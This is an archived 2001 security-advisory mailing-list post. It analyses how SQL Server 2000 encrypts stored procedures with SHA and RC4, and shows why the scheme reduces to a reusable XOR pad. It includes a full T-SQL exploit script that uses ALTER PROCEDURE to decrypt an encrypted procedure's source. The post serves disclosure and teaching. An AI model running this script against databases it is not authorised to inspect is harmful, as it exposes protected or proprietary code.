

[NT] Analysis of Microsoft SQL Server 2000 Stored Procedure Encryption

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-12/0075.html>

From: support@securiteam.com

Date: 12/19/01

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 19 Dec 2001 03:05:12 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Analysis of Microsoft SQL Server 2000 Stored Procedure Encryption

SUMMARY

It is well known that the stored procedure encryption in SQL Server 2000 has been cracked, the following is a discussion of the algorithm used and what its weaknesses are. Not only can the key be retrieved by anyone with SA privileges (as DOMNAR has so aptly demonstrated with his <<http://www.geocities.com/d0mn4r/dSQLSRVD.html>> dSQLSRVD utility), but the algorithm is incorrectly implemented, making both key retrieval and SA privileges unnecessary.

DETAILS

Here is how stored procedure (and view and trigger) encryption works on SQL Server 2000:

1. Take the database's GUID (generated when the db is created), the object id (from sysobjects) and the colid (from syscomments) and concatenate them.
2. Hash the key using SHA.
3. Use the SHA hash as an RC4 key, generate a sequence of bytes equal in length to the stored procedure text.
4. XOR this stream of bytes against the stored procedure text.

Securiteam: [NT] Analysis of Microsoft SQL Server 2000 Stored Procedure Encryption

There are two ways to set about recovering the plaintext. One is to retrieve the components of the key (the GUID is retrievable through DBCC DBINFO, but you have to be SA to run that command) and this is the approach taken by dSQLSRVD.

The second option is to find a way to encrypt your own plaintext with the same key. If you can do this, the encryption algorithm degenerates to simple XOR encryption with a reusable pad.

It turns out that it is trivial to do this thanks to the "ALTER PROCEDURE" statement. Rather makes you wonder why Microsoft chose to waste CPU cycles with SHA and RC4 since it does not buy any extra security.

Exploit (Example stored procedure):

```
SET NOCOUNT ON
CREATE TABLE #tempcomments (
  ID int PRIMARY KEY NOT NULL
  ,ctext nvarchar(4000) NOT NULL
)
GO
CREATE PROCEDURE bob
  WITH ENCRYPTION
AS
PRINT 'I encrypted this procedure and forgot to check the source into
cvs!'
PRINT 'Now I don't work here any more and you can't find me!'
GO

INSERT INTO #tempcomments
SELECT 1, ctext FROM syscomments WHERE id = object_id('bob')
GO
ALTER PROCEDURE bob
  WITH ENCRYPTION
AS
-----
print 'I know a secret.'
GO

INSERT INTO #tempcomments
SELECT 2, ctext FROM syscomments WHERE id = object_id('bob')
GO

DECLARE @origcryptstr nvarchar(4000)
  ,@origplainstr nvarchar(4000)
  ,@knownplainstr nvarchar(4000)
  ,@knowncryptstr nvarchar(4000)

DECLARE @length int
  ,@counter int
```

Securiteam: [NT] Analysis of Microsoft SQL Server 2000 Stored Procedure Encryption

```
SELECT @origcryptstr = ctext FROM #tempcomments WHERE ID = 1
SELECT @knowncryptstr = ctext FROM #tempcomments WHERE ID = 2
SELECT @knownplainstr = N'CREATE PROCEDURE bob
    WITH ENCRYPTION
AS
```

```
print "I know a secret."
'
set @length = datalength(@origcryptstr)
set @origplainstr = replicate(N'A', (@length / 2))
set @counter = 1
while (@counter <= (@length / 2))
begin
    SELECT @origplainstr = stuff(@origplainstr, @counter, 1,
        NCHAR(UNICODE(substring(@origcryptstr, @counter, 1)) ^
            (UNICODE(substring(@knowncryptstr, @counter, 1)) ^
                UNICODE(substring(@knownplainstr, @counter, 1))))))
    set @counter = @counter + 1
end
select @origplainstr
exec('drop procedure bob')
exec(@origplainstr)
GO
drop table #tempcomments
GO
```

Note that at the end we replaced the second version of the bob procedure with the original. If you are using this approach on a production code, do not leave that out.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:shoeboy@adequacy.org>>
shoeboy.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Securiteam: [NT] Analysis of Microsoft SQL Server 2000 Stored Procedure Encryption

- **Previous message:** support@securiteam.com: "[REVS] PHP 4.1.0 Integrates Much Needed Security Features"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)